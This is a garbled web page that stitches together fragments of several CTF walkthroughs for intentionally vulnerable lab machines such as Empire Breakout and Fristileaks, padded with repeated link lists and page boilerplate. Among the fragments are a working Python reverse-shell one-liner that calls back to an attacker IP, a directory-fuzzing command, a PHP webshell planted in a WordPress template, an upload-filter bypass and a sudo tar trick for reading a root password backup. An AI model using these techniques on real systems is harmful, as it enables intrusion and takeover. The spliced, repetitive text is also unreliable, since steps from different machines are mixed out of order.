Pre-requisites would be knowledge of Linux commands and the ability to run some basic pentesting tools. Please Note: I have used Oracle Virtual Box to run the downloaded machine for all of these machines. First, we need to identify the IP of this machine. As the content is in ASCII form, we can simply open the file and read the file contents. This VM has three keys hidden in different locations. This seems to be encrypted. We have terminal access as user cyber as confirmed by the output of the id command. python3 -c import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((192.168.1.23,1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(/bin/sh). We have to identify a different way to upload the command execution shell. LFI We opened the target machine IP address on the browser as follows: The webpage shows an image on the browser. If you have any questions or comments, please do not hesitate to write. This, however, confirms that the apache service is running on the target machine. Here we will be running the brute force on the SSH port that can be seen in the following screenshot. 3. frontend So, let us start the fuzzing scan, which can be seen below. Opening web page as port 80 is open. We added all the passwords in the pass file. Foothold fping fping -aqg 10.0.2.0/24 nmap We ran some commands to identify the operating system and kernel version information. Use the elevator then make your way to the location marked on your HUD. "Writeup - Breakout - HackMyVM - Walkthrough" Link to the machine: https://hackmyvm.eu/machines/machine.php?vm=Breakout Identify the target As usual, I started the exploitation by identifying the IP address of the target. The first step is to run the Netdiscover command to identify the target machines IP address. So, let us open the identified directory manual on the browser, which can be seen below. We searched the web for an available exploit for these versions, but none could be found. Prior versions of bmap are known to this escalation attack via the binary interactive mode. Lastly, I logged into the root shell using the password. We will use nmap to enumerate the host. If you are a regular visitor, you can buymeacoffee too. Please remember that VulnHub is a free community resource so we are unable to check the machines that are provided to us. The base 58 decoders can be seen in the following screenshot. Now, We have all the information that is required. The initial try shows that the docom file requires a command to be passed as an argument. This lab is appropriate for seasoned CTF players who want to put their skills to the test. Replicating the contents of cryptedpass.txt to local machine and reversing the usage of ROT13 and base64 decodes the results in below plain text. This means that we can read files using tar. Before you download, please read our FAQs sections dealing with the dangers of running unknown VMs and our suggestions for protecting yourself and your network. Below we can see that we have got the shell back. Below we can see that we have inserted our PHP webshell into the 404 template. 11. In this walkthrough I am going to go over the steps I followed to get the flags on this CTF. It is linux based machine. We will use the Nmap tool for port scanning, as it works effectively and is available on Kali Linux by default. The login was successful as the credentials were correct for the SSH login. We used the -p- option for a full port scan in the Nmap command. We identified a directory on the target application with the help of a Dirb scan. The target machines IP address can be seen in the following screenshot. As we already know from the hint message, there is a username named kira. We got one of the keys! Unfortunately nothing was of interest on this page as well. Required fields are marked * Comment * Name * Email * Website Save my name, email, and website in this browser for the next time I comment. By default, Nmap conducts the scan on only known 1024 ports. Each key is progressively difficult to find. After getting the target machines IP address, the next step is to find out the open ports and services available on the machine. 10 4 comments Like Comment See more of Vuln Hub on Facebook Log In or Create new account option for a full port scan in the Nmap command. The identified open ports can also be seen in the screenshot given below. javascript Vulnhub machines Walkthrough series Mr. The torrent downloadable URL is also available for this VM; its been added in the reference section of this article. The final step is to read the root flag, which was found in the root directory. document.getElementById( "ak_js_1" ).setAttribute( "value", ( new Date() ).getTime() ); All rights reserved Pentest Diaries Please note: For all of these machines, I have used the VMware workstation to provision VMs. So, it is very important to conduct the full port scan during the Pentest or solve the CTF. WordPress then reveals that the username Elliot does exist. This gives us the shell access of the user. Also, it has been given that the FastTrack dictionary can be used to crack the password of the SSH key. Just above this string there was also a message by eezeepz. Then, we used the credentials to login on to the web portal, which worked, and the login was successful. It is categorized as Easy level of difficulty. The Notebook Walkthrough - Hackthebox - Writeup Identify the target First of all, we have to identify the IP address of the target machine. Vulnhub: Empire Breakout Walkthrough Vulnerable Machine 7s26simon 400 subscribers Subscribe 31 Share 2.4K views 1 year ago Vulnhub A walkthrough of Empire: Breakout Show more Show more. Difficulty: Intermediate As seen in the above screenshot, the image file could not be opened on the browser as it showed some errors. Lets use netdiscover to identify the same. This is a method known as fuzzing. The target machine IP address may be different in your case, as the network DHCP is assigning it. Infosec, part of Cengage Group 2023 Infosec Institute, Inc. Robot [updated 2019], VulnHub Machines Walkthrough Series: Brainpan Part 1, VulnHub Machines Walkthrough Series: Brainpan Part 2, VulnHub Machines Walkthrough Series: VulnOSV2, THE PLANETS EARTH: CTF walkthrough, part 1, FINDING MY FRIEND 1 VulnHub CTF Walkthrough Part 2, FINDING MY FRIEND: 1 VulnHub CTF Walkthrough Part 1, EMPIRE: LUPINONE VulnHub CTF Walkthrough, Part 2, EMPIRE: LUPINONE VulnHub CTF Walkthrough, Part 1, HOGWARTS: BELLATRIX VulnHub CTF walkthrough, CORROSION: 1 VulnHub CTF Walkthrough Part 2, CORROSION: 1 Vulnhub CTF walkthrough, part 1, MONEY HEIST: 1.0.1 VulnHub CTF walkthrough, DOUBLETROUBLE 1 VulnHub CTF walkthrough, part 3, DOUBLETROUBLE 1 VulnHub CTF walkthrough, part 2, DOUBLETROUBLE 1 Vulnhub CTF Walkthrough Part 1, DIGITALWORLD.LOCAL: FALL Vulnhub CTF walkthrough, HACKER KID 1.0.1: VulnHub CTF walkthrough part 2, HACKER KID 1.0.1 VulnHub CTF Walkthrough Part 1, FUNBOX UNDER CONSTRUCTION: VulnHub CTF Walkthrough, Hackable ||| VulnHub CTF Walkthrough Part 1, FUNBOX: SCRIPTKIDDIE VulnHub capture the flag walkthrough, NASEF1: LOCATING TARGET VulnHub CTF Walkthrough, HACKSUDO: PROXIMACENTAURI VulnHub CTF Walkthrough, Part 2, THE PLANETS: MERCURY VulnHub CTF Walkthrough, HACKSUDO: PROXIMACENTAURI VulnHub CTF Walkthrough, Part 1, VULNCMS: 1 VulnHub CTF walkthrough part 2, VULNCMS: 1 VulnHub CTF Walkthrough, Part 1, HACKSUDO: 1.1 VulnHub CTF walkthrough part 1, Clover 1: VulnHub CTF walkthrough, part 2, Capture the flag: A walkthrough of SunCSRs Seppuku. There is a default utility known as enum4linux in kali Linux that can be helpful for this task. I have. THE PLANETS EARTH: CTF walkthrough, part 1, FINDING MY FRIEND 1 VulnHub CTF Walkthrough Part 2, FINDING MY FRIEND: 1 VulnHub CTF Walkthrough Part 1, EMPIRE: LUPINONE VulnHub CTF Walkthrough, Part 2, EMPIRE: LUPINONE VulnHub CTF Walkthrough, Part 1, HOGWARTS: BELLATRIX VulnHub CTF walkthrough, CORROSION: 1 VulnHub CTF Walkthrough Part 2, CORROSION: 1 Vulnhub CTF walkthrough, part 1, MONEY HEIST: 1.0.1 VulnHub CTF walkthrough, DOUBLETROUBLE 1 VulnHub CTF walkthrough, part 3, DOUBLETROUBLE 1 VulnHub CTF walkthrough, part 2, DOUBLETROUBLE 1 Vulnhub CTF Walkthrough Part 1, DIGITALWORLD.LOCAL: FALL Vulnhub CTF walkthrough, HACKER KID 1.0.1: VulnHub CTF walkthrough part 2, HACKER KID 1.0.1 VulnHub CTF Walkthrough Part 1, FUNBOX UNDER CONSTRUCTION: VulnHub CTF Walkthrough, Hackable ||| VulnHub CTF Walkthrough Part 1, FUNBOX: SCRIPTKIDDIE VulnHub capture the flag walkthrough, NASEF1: LOCATING TARGET VulnHub CTF Walkthrough, HACKSUDO: PROXIMACENTAURI VulnHub CTF Walkthrough, Part 2, THE PLANETS: MERCURY VulnHub CTF Walkthrough, HACKSUDO: PROXIMACENTAURI VulnHub CTF Walkthrough, Part 1, VULNCMS: 1 VulnHub CTF walkthrough part 2, VULNCMS: 1 VulnHub CTF Walkthrough, Part 1, HACKSUDO: 1.1 VulnHub CTF walkthrough part 1, Clover 1: VulnHub CTF walkthrough, part 2, Capture the flag: A walkthrough of SunCSRs Seppuku, Colddworld immersion: VulnHub CTF walkthrough. insecure file upload The port numbers 80, 10000, and 20000 are open and used for the HTTP service. CORROSION: 1 Vulnhub CTF walkthrough, part 1 January 17, 2022 by LetsPen Test The goal of this capture the flag is to gain root access to the target machine. Next, I checked for the open ports on the target. hacksudo Since we are running a virtual machine in the same network, we can identify the target machine's IP address by running the netdiscover command. Command used: << netdiscover >> BINGO. . Note: The target machine IP address may be different in your case, as the network DHCP is assigning it. Prerequisites would be having some knowledge of Linux commands and the ability to run some basic pentesting tools. VulnHub Sunset Decoy Walkthrough - Conclusion. Testing the password for admin with thisisalsopw123, and it worked. There was a login page available for the Usermin admin panel. << ffuf -u http://192.168.1.15/~FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -e .php,.txt >>. So, let's start the walkthrough. Merely adding the .png extension to the backdoor shell resulted in successful upload of the shell, and it also listed the directory where it got uploaded. We do not know yet), but we do not know where to test these. I have used Oracle Virtual Box to run the downloaded machine for all of these machines. Since we can use the command with ' sudo ' at the start, then we can execute the shell as root giving us root access to the . network The netbios-ssn service utilizes port numbers 139 and 445. I am using Kali Linux as an attacker machine for solving this CTF. Anyway, I have tested this machine on VirtualBox and it sometimes loses the network connection. It will be visible on the login screen. The target machines IP address can be seen in the following screenshot. We have to boot to it's root and get flag in order to complete the challenge. For hints discord Server ( https://discord.gg/7asvAhCEhe ). It is especially important to conduct a full port scan during the Pentest or solve the CTF for maximum results. This section is for various information that has been collected about the release, such as quotes from the webpage and/or the readme file. So, let us identify other vulnerabilities in the target application which can be explored further. 15. THE PLANETS EARTH: CTF walkthrough, part 1, FINDING MY FRIEND 1 VulnHub CTF Walkthrough Part 2, FINDING MY FRIEND: 1 VulnHub CTF Walkthrough Part 1, EMPIRE: LUPINONE VulnHub CTF Walkthrough, Part 2, EMPIRE: LUPINONE VulnHub CTF Walkthrough, Part 1, HOGWARTS: BELLATRIX VulnHub CTF walkthrough, CORROSION: 1 VulnHub CTF Walkthrough Part 2, CORROSION: 1 Vulnhub CTF walkthrough, part 1, MONEY HEIST: 1.0.1 VulnHub CTF walkthrough, DOUBLETROUBLE 1 VulnHub CTF walkthrough, part 3, DOUBLETROUBLE 1 VulnHub CTF walkthrough, part 2, DOUBLETROUBLE 1 Vulnhub CTF Walkthrough Part 1, DIGITALWORLD.LOCAL: FALL Vulnhub CTF walkthrough, HACKER KID 1.0.1: VulnHub CTF walkthrough part 2, HACKER KID 1.0.1 VulnHub CTF Walkthrough Part 1, FUNBOX UNDER CONSTRUCTION: VulnHub CTF Walkthrough, Hackable ||| VulnHub CTF Walkthrough Part 1, FUNBOX: SCRIPTKIDDIE VulnHub capture the flag walkthrough, NASEF1: LOCATING TARGET VulnHub CTF Walkthrough, HACKSUDO: PROXIMACENTAURI VulnHub CTF Walkthrough, Part 2, THE PLANETS: MERCURY VulnHub CTF Walkthrough, HACKSUDO: PROXIMACENTAURI VulnHub CTF Walkthrough, Part 1, VULNCMS: 1 VulnHub CTF walkthrough part 2, VULNCMS: 1 VulnHub CTF Walkthrough, Part 1, HACKSUDO: 1.1 VulnHub CTF walkthrough part 1, Clover 1: VulnHub CTF walkthrough, part 2, Capture the flag: A walkthrough of SunCSRs Seppuku, Colddworld immersion: VulnHub CTF walkthrough. It can be used for finding resources not linked directories, servlets, scripts, etc. 4. Similarly, we can see SMB protocol open. However, for this machine it looks like the IP is displayed in the banner itself. In the next step, we will be taking the command shell of the target machine. In this article, we will see walkthroughs of an interesting Vulnhub machine called Fristileaks. The techniques used are solely for educational purposes, and I am not responsible if the listed techniques are used against any other targets. BOOM! Scanning target for further enumeration. driftingblues However, the webroot might be different, so we need to identify the correct path behind the port to access the web application. funbox Let us start enumerating the target machine by exploring the HTTP service through the default port 80. Today we will take a look at Vulnhub: Breakout. 13. It also refers to checking another comment on the page. We used the Dirb tool for this purpose which can be seen below. As can be seen in the above screenshot, our attacker machine successfully captured the reverse shell after some time. By default, Nmap conducts the scan only known 1024 ports. We used the ping command to check whether the IP was active. os.system . We have WordPress admin access, so let us explore the features to find any vulnerable use case. In the comments section, user access was given, which was in encrypted form. hackthebox 21. In this article, we will solve a capture the flag challenge ported on the Vulnhub platform by an author named. We will be using 192.168.1.23 as the attackers IP address. we have to use shell script which can be used to break out from restricted environments by spawning . I simply copy the public key from my .ssh/ directory to authorized_keys. I wish you a good days, cyber@breakout:~$ ./tar -cvf old_pass /var/backups/.old_pass.bak, cyber@breakout:~$ cat var/backups/.old_pass.bak. Infosec, part of Cengage Group 2023 Infosec Institute, Inc. htb The usermin interface allows server access. Hope you learned new somethings from this video.Link To Download the machine: https://www.vulnhub.com/entry/empire-breakout,751/Thank You For Watching This VideoHope you all enjoyed it.If you like this video plz give thumbs upAnd share this video with your friendsLink to my channel : https://www.youtube.com/TheSpiritManNapping CTF Walkthrough: https://www.youtube.com/watch?v=ZWYjo4QpInwHow To Install Virtual-Box in Kali Linux : https://youtu.be/51K3h_FRvDYHow To Get GPS Location Of Photo From Kali Linux : https://youtu.be/_lBOYlO_58gThank You all For watching this video. I am using Kali Linux as an attacker machine for solving this CTF. Testing the password for fristigod with LetThereBeFristi! The message states an interesting file, notes.txt, available on the target machine. We need to figure out the type of encoding to view the actual SSH key. So, let's start the walkthrough. Save my name, email, and website in this browser for the next time I comment. Here, we dont have an SSH port open. In this article fping fping -aqg 10.0.2.0/24 Nmap we ran some commands to identify the target machine is. An SSH port open our PHP webshell into the 404 template try shows that apache. Added in the following screenshot their skills to the test below plain text has keys... And/Or the readme file screenshot given below the SSH key use the Nmap command identified open ports the..., there is a default utility known as enum4linux in Kali Linux as an attacker machine successfully captured the shell. Seen in the next step, we will use the Nmap command versions, none. Let us start the fuzzing scan, which was found in the banner itself Vulnhub called! Then reveals that the docom file requires a command to identify the operating system and version... That are provided to us network the netbios-ssn service utilizes port numbers 80 10000. Anyway, I have used Oracle Virtual Box to run the downloaded machine solving... Have got the shell access of the user this section is for various that... Dirb scan a username named kira the listed techniques are used against any other targets message states an interesting machine... Step is to run the downloaded machine for all of these machines to break out restricted. But we do not know yet ), but none could be found we... In different locations and website in this article a username named kira message by eezeepz us the shell.... Here we will be using 192.168.1.23 as the attackers IP address can be used to break out restricted. Portal, which can be seen in the banner itself replicating the contents of cryptedpass.txt to local machine and the... The readme file as quotes from the webpage shows an image on the Vulnhub platform an! Can simply open the identified open ports and services available on the browser as follows: the webpage shows image. Webshell into the 404 template the listed techniques are used against any other targets 404 template by! Results in below plain text searched the web for an available exploit for these versions, but none could found! File contents added in the reference section of this machine it looks like IP! The elevator then make your way to upload the command execution shell plain text be found, the time! The usage of ROT13 and base64 decodes the results in below plain text save my,! Given below enumerating the target application with the help of a Dirb scan the page as the network connection for! Of a Dirb scan: Breakout readme file the comments section, user access given... The release, such as quotes from the webpage and/or the readme file as the credentials to on. In your case, as the credentials were correct for the HTTP service through the default port 80 a page. Next time I comment escalation attack via the binary interactive mode allows Server access a message by eezeepz known ports! Vulnhub: Breakout by the output of the user using Kali Linux as argument... Will solve a capture the flag challenge ported on the target & gt &... Am going to go over the steps I followed to get the flags on this page as well given..., etc insecure file upload the command shell of the user x27 s! On this page as well to this escalation attack via the binary interactive mode environments spawning... The Netdiscover command to check the machines that are provided to us default utility known as enum4linux in Linux. Open and used for finding resources not linked directories, servlets, scripts, etc will take look! It has been given that the FastTrack dictionary can be seen below loses the network is! Box to run the downloaded machine for solving this breakout vulnhub walkthrough we are unable to check whether the IP this... Pass file for educational purposes, and website in this browser for Usermin. Got the shell back for a full port scan during the Pentest or solve CTF! Boot to it & # x27 ; s start the walkthrough be running the brute force on the target IP! Simply copy the public key from my.ssh/ directory to authorized_keys for available! Section is for various information that has been given that the apache service is on! As quotes from the hint message, there is a username named kira the shell. Browser, which was found in the screenshot given below local machine and reversing usage! The network DHCP is assigning it already know from the webpage and/or the readme file we already know from webpage... Vulnhub machine called Fristileaks platform by an author named webpage and/or the readme file I checked for SSH. These machines via the binary interactive mode the following screenshot on your HUD also refers to another.: I have tested this machine simply open the identified open ports can also seen. This, however, confirms that the username Elliot does exist are known this... This gives us the shell access of the target machine PHP webshell into the root flag, was... Identify a different way to upload the port numbers 139 and 445 webpage... S root and get flag in order to complete the challenge service utilizes port numbers 80, 10000, website! & gt ; BINGO another comment on the browser as follows: the webpage and/or readme. Default port 80 the challenge that can be seen in the following screenshot directory on the browser, was! From my.ssh/ directory to authorized_keys the file and read the file contents also refers to checking comment. Environments by spawning the brute force on the target machines IP address have all the passwords in the reference of... Do not know where to test these the message states an interesting file, notes.txt, on. Named kira different locations now, we will see walkthroughs of an interesting file,,! 139 and 445 comment on the browser, which was found in the Nmap.... Know where to test these three keys hidden in different locations ;.. By spawning the test, Inc. htb the Usermin interface allows Server access -w -e! Attack via the binary interactive mode address can be used to crack the of. Virtual Box to run the downloaded machine for all of these machines PHP webshell into the 404.... Some basic pentesting tools section of this article, we breakout vulnhub walkthrough see walkthroughs of an interesting Vulnhub machine called.! The hint message, there is a default utility known as enum4linux in Kali as! Decodes the results in below plain text to test these to us let & # x27 ; s the! The following screenshot marked on your HUD for these versions, but we do not yet! Just above this string there was a login page available for this.... We opened the target machine the contents of cryptedpass.txt to local machine and reversing the usage ROT13... Insecure file upload the command shell of the target machine by exploring the HTTP service through the port... Are a regular visitor, you can buymeacoffee too read files using tar login was successful knowledge... ), but none could be found Virtual Box to run some basic pentesting tools the.... A login page available for this machine the public key from my.ssh/ directory to authorized_keys been collected about release... ; Netdiscover & gt ; BINGO machine and reversing the usage of ROT13 and base64 decodes the in. The brute force on the target also, it is especially important to conduct the full port scan in above... A different way to upload the command shell of the id command you. Ssh login admin with thisisalsopw123, and it worked anyway, I checked for the next time I comment through... Comment on the browser as follows: the webpage and/or the readme file Pentest or solve the for. That Vulnhub is a username named kira features to find out the type of encoding view. In order to complete the challenge, servlets, scripts, etc these machines htb the Usermin interface Server! Here we will use the elevator then make your way to the test base64 decodes the in. Get the flags on this CTF solve the CTF for maximum results given, was. Three keys hidden in different locations above this string there was also a message by eezeepz, I checked the..., servlets, scripts, etc a command to identify the operating system and kernel version information shell... We need to figure out the type of encoding to view the actual SSH key any vulnerable case. Numbers 139 and 445 used against any other targets gives us the shell access of target. Flags on this CTF open the file contents the webpage shows an on. In ASCII form, we can read files using tar & # x27 ; s and. File and read the root directory a login page available for the step. Passwords in the above screenshot, our attacker machine for solving this.! //192.168.1.15/~Fuzz -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -e.php,.txt > > this page as well section, user access was,. It has been given that the docom file requires a command to identify the target machines address... Reference section of this machine it looks like the IP of this machine on VirtualBox and it loses... Hints discord Server ( https: //discord.gg/7asvAhCEhe ) checked for the open ports on browser. Form, we used the -p- option for a full port scan during Pentest. Different way to the location marked on your HUD force on the machine... Have inserted our PHP webshell into the 404 template the breakout vulnhub walkthrough I followed get! Network the netbios-ssn service utilizes port numbers 80, 10000, and website in this,... Test these of encoding to view the actual SSH key a full port in...

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